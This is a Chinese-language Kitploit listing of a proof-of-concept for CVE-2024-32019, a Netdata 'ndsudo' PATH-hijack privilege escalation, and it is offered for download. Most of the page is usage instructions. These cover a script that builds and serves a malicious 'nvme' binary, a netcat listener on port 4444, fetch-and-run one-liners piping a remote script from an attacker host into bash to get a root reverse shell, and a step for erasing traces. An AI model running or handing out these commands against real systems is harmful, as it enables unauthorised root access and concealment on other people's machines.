Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-32019-PoC — 用于通过"ndsudo"(Netdata本地漏洞)进行权限提升的Bash脚本 | Kitploit
工具/GitHubGitHub/80ottanta80/cve-2024-32019-poc
权限提升漏洞分析漏洞利用渗透测试学习与教育实验室与实践
GitHub80ottanta80/cve-2024-32019-poc

CVE-2024-32019-PoC

用于通过"ndsudo"(Netdata本地漏洞)进行权限提升的Bash脚本

查看仓库
110个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-32019-PoC

通过"ndsudo"进行权限提升的Bash脚本(Netdata本地利用)

受影响版本 (Netdata)

  • >= v1.45.0, < v1.45.3

  • >= v1.44.0-60, < v1.45.0-169

漏洞描述

ndsudo 工具运行一组受限的外部命令,但搜索路径由"PATH"环境变量提供。通过将"PATH"环境变量更改为我们有权限的路径,我们可以控制 ndsudo 查找命令的位置,并创建一个包含恶意代码的命令。

概念验证

此漏洞利用基于假设目标机器和攻击者机器位于同一网络。

先决条件

攻击者机器

  • 端口 4444 上的监听器
  • 托管恶意 nvme 二进制文件的 Web 服务器

目标机器:

  • 本地 Shell 访问权限
  • 执行 ndsudo 的权限
  • 用于下载 payload 的 wget/curl/任何 HTTP 客户端

使用方法

在攻击者机器上

我们可以通过运行"setup_exploit_server.sh"自动生成并部署攻击所需的文件。

root@kitploit:~
$ ./setup_exploit_server.sh YOUR_IP

--------- Exploit Infrastructure Setup by Ottanta ---------

[+] Using server IP: YOUR_IP
[+] Creating exploit directory: /tmp/exploit
[+] Creating ndsudo_pe.sh script file...
[+] Creating nvme.c exploit file...
[+] Compiling nvme binary...
[+] nvme binary compiled successfully
[+] Starting web server on port 80...
[+] Web server started with PID: 9350
[+] nvme binary is available at: http://YOUR_IP/nvme
[!] Now run the privilege escalation exploit in the victim terminal
[!] Make sure to start listener: nc -nlvp 4444

Press Enter to stop the web server and clean up...

此脚本将创建所有攻击所需的文件,并配置为使用你的 IP 地址。

部署 Web 服务器后,我们在另一个 shell 上启动监听器:

root@kitploit:~
# We start a listener with Netcat, but you can use anything else
$ nc -nlvp 4444
listening on [any] 4444 ...

在目标机器上

根据我们的 HTTP 客户端,我们可以下载并执行我们的漏洞利用。

root@kitploit:~
# If we have curl
$ curl -L http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP

# If we have wget
$ wget -qO- http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP

如果一切正确完成,我们现在应该拥有一个 root shell。

截图

漏洞利用流程

  1. 将恶意二进制文件下载到 /tmp/exploit/
  2. 修改 PATH 以优先使用受控目录
  3. 执行 ndsudo nvme-list,运行恶意二进制文件
  4. 建立反向 shell 到攻击者机器
  5. 清理痕迹

参考

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93
  • https://nvd.nist.gov/vuln/detail/CVE-2024-32019

法律免责声明

此概念验证仅用于教育和授权测试目的。未经授权对您不拥有或未获明确许可进行测试的系统使用是违法的。作者不对任何滥用此信息的行为负责。

下载工具